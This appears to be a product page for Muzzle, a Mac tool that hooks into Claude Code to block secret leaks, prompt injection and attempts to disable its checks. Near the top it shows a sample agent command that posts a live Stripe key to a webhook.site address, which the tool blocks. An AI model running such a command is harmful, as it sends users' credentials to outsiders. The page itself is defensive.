Claude Code security hooks
Muzzle checks each command, file write, web request and MCP call Claude Code makes before it runs, and each result after.
● Bash(curl -d "key=sk_live_51Hx…9fQa" https://webhook.site/3f1c…)
⎿Muzzle blocked this: a secret (stripe-live-key, sk_l…9fQa) would be sent to webhook.site on a network command line. Remove it, or read it from the environment at runtime.
Set it up
- Download Muzzle, open it and click Get started.
- Enter what should never leave your Mac: your email, name and phone number. Muzzle suggests your git email and account name.
- Leave Claude Code switched on and click Protect. Muzzle writes its hooks to
~/.claude/settings.jsonand routes the commands Claude Code runs through its local proxy. - Start a new Claude Code session so it loads the hooks.
- Muzzle scans your projects and shows anything that already leaks. For the first week it only watches, then you turn blocking on.
What's covered
Leaks in commands, file writes, web fetches and MCP calls
FreeSettings lock
FreeCredential files and package check
FreePrompt injection alerts on results
ProInstruction files and risky folders at session start
ProRequests made by scripts Claude Code runs
ProQuestions
How do I remove it?
Switch Claude Code off in Muzzle's Settings. Muzzle takes its hooks out of settings.json.
What if I delete the Muzzle app?
The hooks do nothing when the app is gone, so Claude Code keeps working.
Can Claude Code switch Muzzle off?
No. Muzzle blocks commands that stop it, skip its checks or route traffic around it, and the settings lock blocks edits to its settings.
Related
Put Muzzle between your agents and the internet
Download for Mac
Free · Apple Silicon · macOS 12 or later
Pro from $8/month, or free while you contribute to the Threat Feed